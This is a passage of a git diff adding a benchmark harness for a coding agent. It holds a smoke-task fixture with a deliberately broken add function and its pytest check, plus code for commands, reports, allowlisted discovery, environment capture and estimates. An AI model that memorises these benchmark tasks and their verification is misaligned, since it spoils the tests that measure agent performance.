"def add(a, b):\n return a - b\n", + "test_calc.py": "from calc import add\n\n\ndef test_add():\n assert add(2, 3) == 5\n" + } + }, + "verification": { + "type": "command", + "command": "python -m pytest test_calc.py -q" + }, + "limits": { + "timeout_seconds": 120, + "max_steps": 30 + }, + "tags": ["smoke", "offline", "deterministic"] +} diff --git a/src/pythinker_code/benchmark/commands.py b/src/pythinker_code/benchmark/commands.py new file mode 100644 index 00000000..ea0cc4f3 --- /dev/null +++ b/src/pythinker_code/benchmark/commands.py @@ -0,0 +1,633 @@ +from __future__ import annotations + +import dataclasses +import json +import shlex +from dataclasses import dataclass +from datetime import UTC, datetime +from pathlib import Path +from typing import TYPE_CHECKING, cast +from uuid import uuid4 + +from pythinker_code.benchmark.discovery import ( + DiscoveredBenchmarkTask, + discover_benchmark_sources, + quiz_fixture_from_discovery, +) +from pythinker_code.benchmark.errors import ( + BenchmarkInternalError, + BenchmarkSyntaxError, + UnknownBenchmarkModelError, +) +from pythinker_code.benchmark.estimate import estimate_benchmark as build_estimate +from pythinker_code.benchmark.estimate import render_estimate +from pythinker_code.benchmark.export import render_export +from pythinker_code.benchmark.records import BenchmarkRecorder, load_run +from pythinker_code.benchmark.report import render_show +from pythinker_code.benchmark.runner import run_task +from pythinker_code.benchmark.suites import list_suite_names, load_suite +from pythinker_code.benchmark.swe import load_swe_instances, swe_instance_to_task +from pythinker_code.benchmark.tasks import list_task_ids, load_task +from pythinker_code.benchmark.types import BenchmarkReportRow, JsonObject +from pythinker_code.share import get_share_dir + +if TYPE_CHECKING: + from pythinker_code.soul.pythinkersoul import PythinkerSoul + + +DEFAULT_SUITE = "pythinker-core" +DEFAULT_SANDBOX = "current-pythinker-approval-runtime" + + +@dataclass(frozen=True, slots=True) +class BenchmarkArgs: + subcommand: str + model: str | None = None + models: list[str] | None = None + task: str | None = None + suite: str | None = None + repeat: int = 1 + max_concurrency: int = 1 + timeout_seconds: int | None = None + judges: str = "off" + sandbox: str = DEFAULT_SANDBOX + format: str = "json" + output: Path | None = None + dataset: Path | None = None + instance: str | None = None + trusted_dataset: bool = False + run_id: str | None = None + source: str | None = None + difficulty: str = "hard" + limit: int = 5 + + +def benchmark_usage() -> str: + return "\n".join( + [ + "Usage:", + " /benchmark start [--model ] [--task | --suite ]", + " /benchmark:start [--model ] [--task | --suite ]", + " /benchmark:all [--model ]", + " /benchmark estimate [--model ] [--task | --suite ]", + " /benchmark:estimate [--model ] [--task | --suite ]", + ( + " /benchmark compare --models [--task | " + + "--suite ] [--repeat ]" + ), + ( + " /benchmark:compare --models [--task | " + + "--suite ] [--repeat ]" + ), + " /benchmark list", + " /benchmark:list", + " /benchmark show ", + " /benchmark:show ", + " /benchmark report [--suite ]", + " /benchmark:report [--suite ]", + " /benchmark export [--suite ] [--format json|csv] [--output ]", + ( + " /benchmark discover --source --difficulty hard --limit 5 " + + "[--output ]" + ), + ( + " /benchmark swe --dataset --trusted-dataset true " + + "[--instance ]" + ), + ( + " /benchmark:swe --dataset --trusted-dataset true " + + "[--instance ]" + ), + ] + ) + + +def parse_args(args: str) -> BenchmarkArgs: + try: + tokens = shlex.split(args) + except ValueError as exc: + raise BenchmarkSyntaxError(str(exc)) from exc + if not tokens: + raise BenchmarkSyntaxError(benchmark_usage()) + subcommand = tokens.pop(0) + if subcommand not in { + "start", + "estimate", + "list", + "show", + "report", + "export", + "swe", + "compare", + "discover", + }: + raise BenchmarkSyntaxError( + f"Unknown benchmark subcommand: {subcommand}\n{benchmark_usage()}" + ) + values: dict[str, object] = {"subcommand": subcommand} + positional: list[str] = [] + i = 0 + while i < len(tokens): + token = tokens[i] + if not token.startswith("--"): + positional.append(token) + i += 1 + continue + key = token.removeprefix("--").replace("-", "_") + if key not in { + "model", + "models", + "task", + "suite", + "repeat", + "max_concurrency", + "timeout_seconds", + "judges", + "sandbox", + "format", + "output", + "dataset", + "instance", + "trusted_dataset", + "source", + "difficulty", + "limit", + }: + raise BenchmarkSyntaxError(f"Unknown benchmark flag: {token}\n{benchmark_usage()}") + if i + 1 >= len(tokens): + raise BenchmarkSyntaxError(f"Missing value for {token}\n{benchmark_usage()}") + values[key] = tokens[i + 1] + i += 2 + if subcommand == "show": + if len(positional) != 1: + raise BenchmarkSyntaxError(benchmark_usage()) + values["run_id"] = positional[0] + elif positional: + raise BenchmarkSyntaxError(f"Unexpected benchmark argument: {positional[0]}") + return _coerce_args(values) + + +def _coerce_args(values: dict[str, object]) -> BenchmarkArgs: + models_value = values.get("models") + models = _model_list(models_value) if models_value is not None else None + if str(values["subcommand"]) == "compare" and (models is None or len(models) < 2): + raise BenchmarkSyntaxError("--models must include at least two models") + if str(values["subcommand"]) == "compare" and models is not None and len(set(models)) < 2: + raise BenchmarkSyntaxError("--models must include at least two distinct models") + repeat = _positive_int(values.get("repeat", "1"), "--repeat") + limit = _positive_int(values.get("limit", "5"), "--limit") + max_concurrency = _positive_int(values.get("max_concurrency", "1"), "--max-concurrency") + timeout = values.get("timeout_seconds") + timeout_seconds = _positive_int(timeout, "--timeout-seconds") if timeout is not None else None + task = _optional_str(values.get("task")) + suite = _optional_str(values.get("suite")) + if task is not None and suite is not None: + raise BenchmarkSyntaxError("--task and --suite are mutually exclusive") + judges = str(values.get("judges", "off")) + if judges != "off": + raise BenchmarkSyntaxError("--judges only supports 'off' in v1") + sandbox = str(values.get("sandbox", DEFAULT_SANDBOX)) + if sandbox != DEFAULT_SANDBOX: + raise BenchmarkSyntaxError( + "--sandbox only supports current-pythinker-approval-runtime in v1" + ) + export_format = str(values.get("format", "json")).lower() + if export_format not in {"json", "csv"}: + raise BenchmarkSyntaxError("--format must be json or csv") + if max_concurrency > 1: + raise BenchmarkSyntaxError("--max-concurrency > 1 is not supported in v1") + output = Path(str(values["output"])).expanduser() if values.get("output") else None + dataset = Path(str(values["dataset"])).expanduser() if values.get("dataset") else None + trusted_dataset = _bool_flag(values.get("trusted_dataset", False), "--trusted-dataset") + return BenchmarkArgs( + subcommand=str(values["subcommand"]), + model=_optional_str(values.get("model")), + task=task, + suite=suite, + repeat=repeat, + models=models, + max_concurrency=max_concurrency, + timeout_seconds=timeout_seconds, + judges=judges, + sandbox=sandbox, + format=export_format, + output=output, + dataset=dataset, + instance=_optional_str(values.get("instance")), + trusted_dataset=trusted_dataset, + run_id=_optional_str(values.get("run_id")), + source=_optional_str(values.get("source")), + difficulty=str(values.get("difficulty", "hard")), + limit=limit, + ) + + +def _model_list(value: object) -> list[str]: + return [part.strip() for part in str(value).split(",") if part.strip()] + + +def _optional_str(value: object) -> str | None: + if value is None: + return None + text = str(value) + return text if text else None + + +def _positive_int(value: object, flag: str) -> int: + try: + parsed = int(str(value)) + except ValueError as exc: + raise BenchmarkSyntaxError(f"{flag} must be an integer") from exc + if parsed < 1: + raise BenchmarkSyntaxError(f"{flag} must be >= 1") + return parsed + + +def _bool_flag(value: object, flag: str) -> bool: + if isinstance(value, bool): + return value + text = str(value).strip().lower() + if text in {"1", "true", "yes", "on"}: + return True + if text in {"0", "false", "no", "off"}: + return False + raise BenchmarkSyntaxError(f"{flag} must be true or false") + + +async def dispatch_benchmark(soul: PythinkerSoul, args: str) -> str: + parsed = parse_args(args) + if parsed.subcommand == "list": + return list_benchmarks() + if parsed.subcommand == "estimate": + return estimate_benchmark(soul, parsed) + if parsed.subcommand == "show": + assert parsed.run_id is not None + return show_benchmark(parsed.run_id, parsed.output) + if parsed.subcommand == "report": + return render_benchmark_report(parsed.output, parsed.suite) + if parsed.subcommand == "export": + return export_benchmark(parsed.output, parsed.suite, parsed.format) + if parsed.subcommand == "discover": + return discover_benchmark(parsed) + if parsed.subcommand == "swe": + return await start_swe_benchmark(soul, parsed, raw_args=args) + if parsed.subcommand == "start": + return await start_benchmark(soul, parsed, raw_args=args) + if parsed.subcommand == "compare": + return await compare_benchmark(soul, parsed, raw_args=args) + raise BenchmarkSyntaxError(benchmark_usage()) + + +async def compare_benchmark(soul: PythinkerSoul, args: BenchmarkArgs, *, raw_args: str) -> str: + assert args.models is not None + for model_key in args.models: + _validate_model(soul, model_key) + summaries: list[str] = [] + compare_run_ids: list[str] = [] + for model_key in args.models: + model_args = dataclasses.replace(args, model=model_key, models=None, subcommand="start") + summaries.append( + await start_benchmark( + soul, + model_args, + raw_args=raw_args, + run_ids=compare_run_ids, + ) + ) + suite = args.suite or (None if args.task else DEFAULT_SUITE) + report = render_benchmark_report(args.output, suite, run_ids=compare_run_ids) + return "\n\n".join([*summaries, report]) + + +def list_benchmarks() -> str: + suites = ", ".join(list_suite_names()) + tasks = ", ".join(list_task_ids()) + return f"Pythinker Benchmark\n\nSuites: {suites}\nTasks: {tasks}" + + +def estimate_benchmark(soul: PythinkerSoul, args: BenchmarkArgs) -> str: + model_key = _resolve_model_key(soul, args.model) + estimate = build_estimate( + model_key=model_key, + task_id=args.task, + suite_name=args.suite or (None if args.task else DEFAULT_SUITE), + repeat=args.repeat, + ) + return render_estimate(estimate) + + +def discover_benchmark(args: BenchmarkArgs) -> str: + if args.source is None: + raise BenchmarkSyntaxError("--source is required for /benchmark discover") + try: + tasks = discover_benchmark_sources( + source=args.source, + difficulty=args.difficulty, + limit=args.limit, + ) + except ValueError as exc: + raise BenchmarkSyntaxError(str(exc)) from exc + lines = ["Pythinker Benchmark discovery", ""] + if tasks: + lines.extend(f"- {task.source}: {task.title} ({task.difficulty})" for task in tasks) + else: + lines.append(f"No benchmark tasks found for {args.source} at difficulty {args.difficulty}.") + if args.output is not None and args.output.suffix == ".jsonl": + args.output.write_text( + "".join( + json.dumps(_quiz_fixture_record(task), sort_keys=True) + "\n" for task in tasks + ), + encoding="utf-8", + ) + lines.append(f"\nWrote provisional manifest: {args.output}") + return "\n".join(lines) + + +def _quiz_fixture_record(task: DiscoveredBenchmarkTask) -> dict[str, object]: + return quiz_fixture_from_discovery( + task, + question=( + "Review this discovered benchmark candidate and identify its source " + "and declared difficulty before converting it into a runnable local fixture." + ), + expected_substrings=[task.source, task.difficulty], + ) + + +async def start_benchmark( + soul: PythinkerSoul, + args: BenchmarkArgs, + *, + raw_args: str, + run_ids: list[str] | None = None, +) -> str: + model_key = _resolve_model_key(soul, args.model) + root = args.output or get_share_dir() / "benchmarks" + run_summaries: list[str] = [] + suite_name = args.suite or (None if args.task else DEFAULT_SUITE) + task_ids = [args.task] if args.task else load_suite(suite_name or DEFAULT_SUITE).tasks + for repeat_index in range(1, args.repeat + 1): + for task_id in task_ids: + assert task_id is not None + task = load_task(task_id) + run_id = _run_id(task.id) + if run_ids is not None: + run_ids.append(run_id) + recorder = BenchmarkRecorder(root, run_id) + result = await run_task( + soul=soul, + task=task, + recorder=recorder, + model_key=model_key, + command=f"/benchmark {raw_args}", + suite_name=suite_name, + repeat_index=repeat_index, + timeout_seconds=args.timeout_seconds, + ) + run_summaries.append( + "\n".join( + [ + "Pythinker Benchmark finished.", + "", + f"- Run: {run_id}", + f"- Status: {result.status}", + f"- Duration: {result.duration_ms / 1000:.1f}s", + f"- Steps: {result.steps}", + f"- Tool calls: {result.tool_calls}", + "- Changed files: " + + (", ".join(result.changed_files) if result.changed_files else "(none)"), + "- Estimated cost: unavailable", + f"- Report: {recorder.run_dir / 'report.md'}", + ] + ) + ) + return "\n\n".join(run_summaries) + + +async def start_swe_benchmark(soul: PythinkerSoul, args: BenchmarkArgs, *, raw_args: str) -> str: + if args.dataset is None: + raise BenchmarkSyntaxError("--dataset is required for /benchmark:swe") + if not args.trusted_dataset: + raise BenchmarkSyntaxError( + "/benchmark:swe runs verification commands from the dataset. " + "Only run trusted local fixture datasets; pass --trusted-dataset true to continue." + ) + model_key = _resolve_model_key(soul, args.model) + root = args.output or get_share_dir() / "benchmarks" + instances = load_swe_instances(args.dataset) + if args.instance is not None: + instances = [instance for instance in instances if instance.instance_id == args.instance] + if not instances: + raise BenchmarkSyntaxError(f"Unknown SWE benchmark instance: {args.instance}") + run_summaries: list[str] = [] + suite_name = f"swe:{args.dataset.stem}" + for repeat_index in range(1, args.repeat + 1): + for instance in instances: + task = swe_instance_to_task(instance) + run_id = _run_id(task.id) + recorder = BenchmarkRecorder(root, run_id) + result = await run_task( + soul=soul, + task=task, + recorder=recorder, + model_key=model_key, + command=f"/benchmark {raw_args}", + suite_name=suite_name, + repeat_index=repeat_index, + timeout_seconds=args.timeout_seconds, + ) + run_summaries.append( + "\n".join( + [ + "Pythinker Benchmark finished.", + "", + f"- Run: {run_id}", + f"- Task: {instance.instance_id}", + f"- Status: {result.status}", + f"- Duration: {result.duration_ms / 1000:.1f}s", + f"- Steps: {result.steps}", + f"- Tool calls: {result.tool_calls}", + "- Changed files: " + + (", ".join(result.changed_files) if result.changed_files else "(none)"), + "- Estimated cost: unavailable", + f"- Report: {recorder.run_dir / 'report.md'}", + ] + ) + ) + return "\n\n".join(run_summaries) + + +def show_benchmark(run_id: str, output: Path | None = None) -> str: + root = output or get_share_dir() / "benchmarks" + run, summary = load_run(root, run_id) + return render_show(run, summary) + + +def render_benchmark_report( + output: Path | None = None, suite: str | None = None, run_ids: list[str] | None = None +) -> str: + from pythinker_code.benchmark.compare import readiness_warnings + + root = output or get_share_dir() / "benchmarks" + if not root.exists(): + return "Pythinker Benchmark\n\nNo benchmark runs found." + rows = _load_report_rows(root, suite=suite, run_ids=run_ids) + if not rows: + return "Pythinker Benchmark\n\nNo matching benchmark runs found." + passed = sum(1 for row in rows if _row_status(row) == "passed") + lines = [ + "Pythinker Benchmark report", + "", + f"Suite: {suite or 'all'}", + f"Runs: {len(rows)}", + f"Passed: {passed}/{len(rows)} ({_percent(passed, len(rows))})", + ] + warnings = readiness_warnings(rows) + if warnings: + lines.extend(["", "Publishability warnings:"]) + lines.extend(f"- {warning}" for warning in warnings) + lines.extend(["", "Models:"]) + for model, model_rows in _group_rows(rows, "model_key").items(): + model_passed = sum(1 for row in model_rows if _row_status(row) == "passed") + lines.append( + "- " + f"{model}: {model_passed}/{len(model_rows)} passed " + f"({_percent(model_passed, len(model_rows))}), " + f"avg {_avg_duration(model_rows)}, " + f"avg steps {_avg_number(model_rows, 'steps')}, " + f"avg tools {_avg_number(model_rows, 'tool_calls')}, " + f"avg tokens {_avg_tokens(model_rows)}" + ) + lines.extend(["", "Tasks:"]) + for task, task_rows in _group_rows(rows, "task_id").items(): + task_passed = sum(1 for row in task_rows if _row_status(row) == "passed") + lines.append( + f"- {task}: {task_passed}/{len(task_rows)} passed " + f"({_percent(task_passed, len(task_rows))})" + ) + lines.extend(["", "Recent runs:"]) + for row in sorted(rows, key=lambda item: str(item.run.get("created_at", "")))[-10:]: + run = row.run + lines.append( + "- " + f"{run.get('run_id')}: {_row_status(row)} " + f"({run.get('model_key')}, {run.get('task_id')})" + ) + return "\n".join(lines) + + +def export_benchmark( + output: Path | None = None, suite: str | None = None, fmt: str = "json" +) -> str: + if fmt not in {"json", "csv"}: + raise BenchmarkSyntaxError("--format must be json or csv") + root = output or get_share_dir() / "benchmarks" + rows = _load_report_rows(root, suite=suite, run_ids=None) + return render_export(rows, fmt) + + +def _load_report_rows( + root: Path, *, suite: str | None, run_ids: list[str] | None +) -> list[BenchmarkReportRow]: + rows: list[BenchmarkReportRow] = [] + if not root.exists(): + return rows + for path in sorted(root.glob("*/run.json")): + run = _read_json_object(path) + run_id = run.get("run_id") + if run_ids is not None and run_id not in run_ids: + continue + if suite is None or run.get("suite_name") == suite: + summary_path = path.parent / "summary.json" + summary = _read_json_object(summary_path) if summary_path.exists() else {} + rows.append(BenchmarkReportRow(run=run, summary=summary)) + return rows + + +def _read_json_object(path: Path) -> JsonObject: + data = json.loads(path.read_text(encoding="utf-8")) + if not isinstance(data, dict): + raise BenchmarkInternalError(f"Malformed benchmark artifact: {path}") + return cast(JsonObject, data) + + +def _row_status(row: BenchmarkReportRow) -> str: + if row.summary.get("status"): + return str(row.summary["status"]) + return str(row.run.get("status", "unknown")) + + +def _group_rows( + rows: list[BenchmarkReportRow], run_key: str +) -> dict[str, list[BenchmarkReportRow]]: + grouped: dict[str, list[BenchmarkReportRow]] = {} + for row in rows: + key = str(row.run.get(run_key) or "unknown") + grouped.setdefault(key, []).append(row) + return dict(sorted(grouped.items())) + + +def _percent(numerator: int, denominator: int) -> str: + if denominator <= 0: + return "0.0%" + return f"{(numerator / denominator) * 100:.1f}%" + + +def _runtime(row: BenchmarkReportRow) -> JsonObject: + runtime = row.summary.get("runtime") + return cast(JsonObject, runtime) if isinstance(runtime, dict) else {} + + +def _usage(row: BenchmarkReportRow) -> JsonObject: + usage = row.summary.get("usage") + return cast(JsonObject, usage) if isinstance(usage, dict) else {} + + +def _avg_number(rows: list[BenchmarkReportRow], key: str) -> str: + values = [value for row in rows if isinstance((value := _runtime(row).get(key)), int)] + if not values: + return "0.0" + return f"{sum(values) / len(values):.1f}" + + +def _avg_duration(rows: list[BenchmarkReportRow]) -> str: + values = [value for row in rows if isinstance((value := _runtime(row).get("duration_ms")), int)] + if not values: + return "0.0s" + return f"{(sum(values) / len(values)) / 1000:.1f}s" + + +def _avg_tokens(rows: list[BenchmarkReportRow]) -> str: + values = [value for row in rows if isinstance((value := _usage(row).get("total_tokens")), int)] + if not values: + return "0" + return f"{sum(values) / len(values):.0f}" + + +def _validate_model(soul: PythinkerSoul, model_key: str) -> None: + if model_key not in soul.runtime.config.models: + raise UnknownBenchmarkModelError(f"Unknown benchmark model: {model_key}") + + +def _resolve_model_key(soul: PythinkerSoul, requested_model: str | None) -> str: + if requested_model is not None: + _validate_model(soul, requested_model) + return requested_model + config = soul.runtime.config + active_model = soul.runtime.llm.model_config if soul.runtime.llm else None + if active_model is not None: + for model_key, model_config in config.models.items(): + if model_config == active_model: + return model_key + if config.default_model: + _validate_model(soul, config.default_model) + return config.default_model + raise UnknownBenchmarkModelError( + "No active benchmark model. Select a Pythinker model or pass --model ." + ) + + +def _run_id(task_id: str) -> str: + stamp = datetime.now(UTC).strftime("%Y%m%d_%H%M%S_%f") + suffix = uuid4().hex[:8] + return f"bench_{stamp}_{suffix}_{task_id.replace('-', '_')}" diff --git a/src/pythinker_code/benchmark/compare.py b/src/pythinker_code/benchmark/compare.py new file mode 100644 index 00000000..b5e86d68 --- /dev/null +++ b/src/pythinker_code/benchmark/compare.py @@ -0,0 +1,72 @@ +from __future__ import annotations + +from collections.abc import Sequence +from typing import cast + +from pythinker_code.benchmark.types import BenchmarkReportRow, JsonObject + + +def readiness_warnings(rows: Sequence[BenchmarkReportRow]) -> list[str]: + if not rows: + return [] + warnings: list[str] = [] + models = {str(row.run.get("model_key") or "unknown") for row in rows} + repeats_by_model: dict[str, set[int]] = {} + for row in rows: + model = str(row.run.get("model_key") or "unknown") + repeats_by_model.setdefault(model, set()).add(_repeat_index(row)) + suites = {row.run.get("suite_name") for row in rows} + if len(models) < 2: + warnings.append("Single model only: do not describe this as a model comparison.") + if any(len(repeats) < 2 for repeats in repeats_by_model.values()): + warnings.append("Single repeat only: report this as a smoke result, not a stable estimate.") + if any(_is_local_fixture_suite(suite) for suite in suites): + warnings.append("Local fixture scope: this is not a full SWE-bench Docker evaluation.") + if any(_missing_cost(row) for row in rows): + warnings.append("Cost unavailable for at least one run: omit cost-efficiency claims.") + if any(_dirty(row) is None for row in rows): + warnings.append( + "Dirty git worktree metadata missing: reproducibility claims may be incomplete." + ) + if any(_dirty(row) is True for row in rows): + warnings.append( + "Dirty git worktree recorded: include the diff or rerun from a clean commit." + ) + return warnings + + +def _missing_cost(row: BenchmarkReportRow) -> bool: + usage = row.summary.get("usage") + if not isinstance(usage, dict): + return True + usage_data = cast(JsonObject, usage) + return usage_data.get("estimated_cost_usd") is None + + +def _dirty(row: BenchmarkReportRow) -> bool | None: + environment = row.summary.get("environment") + if not isinstance(environment, dict): + return None + environment_data = cast(JsonObject, environment) + value = environment_data.get("git_dirty") + return value if isinstance(value, bool) else None + + +def _repeat_index(row: BenchmarkReportRow) -> int: + repeat = row.run.get("repeat_index", 1) + if isinstance(repeat, int): + return repeat + if isinstance(repeat, str): + try: + return int(repeat) + except ValueError: + return 1 + return 1 + + +def _is_local_fixture_suite(suite: object) -> bool: + if suite is None: + return True + if not isinstance(suite, str): + return False + return suite in {"pythinker-core", "pythinker-smoke"} or suite.startswith("swe:") diff --git a/src/pythinker_code/benchmark/discovery.py b/src/pythinker_code/benchmark/discovery.py new file mode 100644 index 00000000..edd7390e --- /dev/null +++ b/src/pythinker_code/benchmark/discovery.py @@ -0,0 +1,169 @@ +from __future__ import annotations + +import html +import os +import re +import urllib.parse +import urllib.request +from collections.abc import Callable +from dataclasses import dataclass +from html.parser import HTMLParser + +from pythinker_code.benchmark.errors import BenchmarkDiscoveryError + +SOURCE_URLS = { + "terminal-bench": "https://www.tbench.ai/", + "swe-bench": "https://www.swebench.com/", + "codeclash": "https://codeclash.ai/", + "deepswe": "https://deepswe.datacurve.ai/", +} + +DISCOVER_NETWORK_ENV = "PYTHINKER_BENCHMARK_DISCOVER_NETWORK" +_ALLOWED_HOSTS = frozenset(urllib.parse.urlparse(url).hostname for url in SOURCE_URLS.values()) +_DIFFICULTY_LABELED_SOURCES = {"terminal-bench"} +_TITLE_RE = re.compile(r"[A-Za-z0-9][A-Za-z0-9_ ./:'()&+-]{8,160}") + + +@dataclass(frozen=True, slots=True) +class DiscoveredBenchmarkTask: + source: str + title: str + difficulty: str + source_url: str + trusted: bool + notes: str + + +def discover_benchmark_sources( + *, + source: str, + difficulty: str, + limit: int, + fetch_text: Callable[[str], str] | None = None, +) -> list[DiscoveredBenchmarkTask]: + if source not in SOURCE_URLS: + raise ValueError(f"Unsupported benchmark source: {source}") + if limit < 1: + raise ValueError("limit must be >= 1") + url = SOURCE_URLS[source] + text = (fetch_text or _fetch_text)(url) + return [ + DiscoveredBenchmarkTask( + source=source, + title=title, + difficulty=difficulty, + source_url=url, + trusted=False, + notes=( + "Discovered from an allowlisted public source. Convert to a runnable " + "local fixture only after human review." + ), + ) + for title in _candidate_titles(text, source=source, difficulty=difficulty)[:limit] + ] + + +def quiz_fixture_from_discovery( + task: DiscoveredBenchmarkTask, + *, + question: str, + expected_substrings: list[str], +) -> dict[str, object]: + if not expected_substrings: + raise ValueError("expected_substrings must not be empty") + return { + "instance_id": f"online-{task.source}-{_slug(task.title)}", + "repo": task.source, + "base_commit": "online-discovery", + "problem_statement": question, + "workspace": {"files": {}}, + "verification": { + "type": "answer_contains", + "expected_substrings": expected_substrings, + }, + "trusted": False, + "source_url": task.source_url, + } + + +def _fetch_text(url: str) -> str: + if os.environ.get(DISCOVER_NETWORK_ENV) != "1": + raise BenchmarkDiscoveryError( + f"/benchmark discover network fetch is disabled. Set {DISCOVER_NETWORK_ENV}=1 " + "after reviewing the allowlisted source hosts." + ) + _validate_source_url(url) + request = urllib.request.Request(url, headers={"User-Agent": "pythinker-benchmark-discovery"}) + try: + with urllib.request.urlopen(request, timeout=20) as response: + _validate_source_url(response.geturl()) + raw = response.read(500_000) + except OSError as exc: + raise BenchmarkDiscoveryError(f"Failed to fetch benchmark source {url}: {exc}") from exc + return raw.decode("utf-8", errors="replace") + + +def _validate_source_url(url: str) -> None: + parsed = urllib.parse.urlparse(url) + if parsed.scheme != "https" or parsed.hostname not in _ALLOWED_HOSTS: + raise BenchmarkDiscoveryError( + f"Unsupported benchmark source host: {parsed.hostname or '(none)'}" + ) + + +def _candidate_titles(text: str, *, source: str, difficulty: str) -> list[str]: + candidates = _anchor_texts(text) + if not candidates: + candidates = _TITLE_RE.findall(html.unescape(re.sub(r"<[^>]+>", " ", text))) + if source in _DIFFICULTY_LABELED_SOURCES: + needle = difficulty.casefold() + candidates = [candidate for candidate in candidates if needle in candidate.casefold()] + seen: set[str] = set() + titles: list[str] = [] + for candidate in candidates: + title = _clean_title(candidate) + if title and title not in seen: + seen.add(title) + titles.append(title) + return titles + + +def _slug(value: str) -> str: + slug = re.sub(r"[^a-zA-Z0-9]+", "-", value.lower()).strip("-") + return slug[:80] or "task" + + +def _anchor_texts(text: str) -> list[str]: + parser = _AnchorTextParser() + parser.feed(text) + return parser.texts + + +def _clean_title(value: str) -> str: + title = re.sub(r"\s+", " ", html.unescape(value)).strip() + return title if len(title) >= 8 and len(title.split()) >= 4 else "" + + +class _AnchorTextParser(HTMLParser): + def __init__(self) -> None: + super().__init__() + self._in_anchor = False + self._current: list[str] = [] + self.texts: list[str] = [] + + def handle_starttag(self, tag: str, attrs: list[tuple[str, str | None]]) -> None: + if tag == "a": + self._in_anchor = True + self._current = [] + + def handle_endtag(self, tag: str) -> None: + if tag == "a" and self._in_anchor: + text = _clean_title(" ".join(self._current)) + if text: + self.texts.append(text) + self._in_anchor = False + self._current = [] + + def handle_data(self, data: str) -> None: + if self._in_anchor: + self._current.append(data) diff --git a/src/pythinker_code/benchmark/environment.py b/src/pythinker_code/benchmark/environment.py new file mode 100644 index 00000000..0ff73dde --- /dev/null +++ b/src/pythinker_code/benchmark/environment.py @@ -0,0 +1,74 @@ +from __future__ import annotations + +import hashlib +import importlib.metadata +import platform +import subprocess +import sys +from pathlib import Path + + +def collect_benchmark_environment( + *, + repo_root: Path, + task_timeout_seconds: int, + task_max_steps: int, + verification_command: str, +) -> dict[str, object]: + return { + "git_commit": _git_text(repo_root, "rev-parse", "HEAD"), + "git_dirty": _git_dirty(repo_root), + "python_version": sys.version.split()[0], + "platform": platform.platform(), + "pythinker_version": _pythinker_version(), + "task_timeout_seconds": task_timeout_seconds, + "task_max_steps": task_max_steps, + "verification_command_sha256": hashlib.sha256( + verification_command.encode("utf-8") + ).hexdigest(), + } + + +def _git_text(repo_root: Path, *args: str) -> str | None: + try: + completed = subprocess.run( + ["git", *args], + cwd=repo_root, + capture_output=True, + text=True, + encoding="utf-8", + errors="replace", + timeout=5, + check=False, + ) + except (OSError, subprocess.TimeoutExpired): + return None + if completed.returncode != 0: + return None + return completed.stdout.strip() or None + + +def _git_dirty(repo_root: Path) -> bool | None: + try: + completed = subprocess.run( + ["git", "status", "--short"], + cwd=repo_root, + capture_output=True, + text=True, + encoding="utf-8", + errors="replace", + timeout=5, + check=False, + ) + except (OSError, subprocess.TimeoutExpired): + return None + if completed.returncode != 0: + return None + return bool(completed.stdout.strip()) + + +def _pythinker_version() -> str | None: + try: + return importlib.metadata.version("pythinker-code") + except importlib.metadata.PackageNotFoundError: + return None diff --git a/src/pythinker_code/benchmark/errors.py b/src/pythinker_code/benchmark/errors.py new file mode 100644 index 00000000..4a58b27c --- /dev/null +++ b/src/pythinker_code/benchmark/errors.py @@ -0,0 +1,57 @@ +from __future__ import annotations + + +class BenchmarkError(Exception): + """Base class for benchmark command failures.""" + + +class BenchmarkSyntaxError(BenchmarkError): + """Raised when benchmark slash-command arguments are invalid.""" + + +class BenchmarkDiscoveryError(BenchmarkError): + """Raised when online benchmark discovery cannot safely fetch a source.""" + + +class UnknownBenchmarkModelError(BenchmarkError): + """Raised when a requested model key is not configured.""" + + +class UnknownBenchmarkTaskError(BenchmarkError): + """Raised when a benchmark task id is unknown.""" + + +class UnknownBenchmarkSuiteError(BenchmarkError): + """Raised when a benchmark suite name is unknown.""" + + +class MalformedBenchmarkTaskError(BenchmarkError): + """Raised when a task definition is invalid.""" + + +class MalformedBenchmarkSuiteError(BenchmarkError): + """Raised when a suite definition is invalid.""" + + +class BenchmarkProviderError(BenchmarkError): + """Raised when the configured model provider fails.""" + + +class BenchmarkRuntimeError(BenchmarkError): + """Raised when the Pythinker runtime fails during a benchmark.""" + + +class BenchmarkTimeoutError(BenchmarkError): + """Raised when a benchmark exceeds its configured timeout.""" + + +class BenchmarkCancelledError(BenchmarkError): + """Raised when a benchmark run is cancelled.""" + + +class BenchmarkVerificationError(BenchmarkError): + """Raised when deterministic verification fails.""" + + +class BenchmarkInternalError(BenchmarkError): + """Raised when benchmark harness code fails.""" diff --git a/src/pythinker_code/benchmark/estimate.py b/src/pythinker_code/benchmark/estimate.py new file mode 100644 index 00000000..e3f9ea0e --- /dev/null +++ b/src/pythinker_code/benchmark/estimate.py @@ -0,0 +1,69 @@ +from __future__ import annotations + +from dataclasses import dataclass + +from pythinker_code.benchmark.suites import load_suite +from pythinker_code.benchmark.tasks import load_task + +DEFAULT_SUITE = "pythinker-core" + + +@dataclass(frozen=True, slots=True) +class BenchmarkEstimate: + model_key: str + target_kind: str + target_name: str + task_count: int + repeat: int + prompt_tokens: int + output_tokens: int + estimated_cost: str + + +def estimate_benchmark( + *, + model_key: str, + task_id: str | None, + suite_name: str | None, + repeat: int, +) -> BenchmarkEstimate: + if task_id is not None: + tasks = [load_task(task_id)] + target_kind = "Task" + target_name = task_id + else: + suite = load_suite(suite_name or DEFAULT_SUITE) + tasks = [load_task(tid) for tid in suite.tasks] + target_kind = "Suite" + target_name = suite.name + prompt_chars = sum(len(task.prompt) for task in tasks) + prompt_tokens = max(1, prompt_chars // 4) * repeat + output_tokens = 800 * len(tasks) * repeat + return BenchmarkEstimate( + model_key=model_key, + target_kind=target_kind, + target_name=target_name, + task_count=len(tasks), + repeat=repeat, + prompt_tokens=prompt_tokens, + output_tokens=output_tokens, + estimated_cost="unavailable for this model", + ) + + +def render_estimate(estimate: BenchmarkEstimate) -> str: + return "\n".join( + [ + "Pythinker Benchmark estimate", + "", + f"Model: {estimate.model_key}", + f"{estimate.target_kind}: {estimate.target_name}", + f"Tasks: {estimate.task_count}", + f"Repeat: {estimate.repeat}", + f"Estimated prompt tokens: {estimate.prompt_tokens:,}", + f"Estimated output tokens: {estimate.output_tokens:,}", + f"Estimated cost: {estimate.estimated_cost}", + "", + "No model calls were made.", + ] + ) diff --git a/src/pythinker_code/benchmark/export.py b/src/pythinker_code/benchmark/export.py new file mode 100644 index 00000000..24c2b605 --- /dev/null +++ b/src/pythinker_code/benchmark/export.py @@ 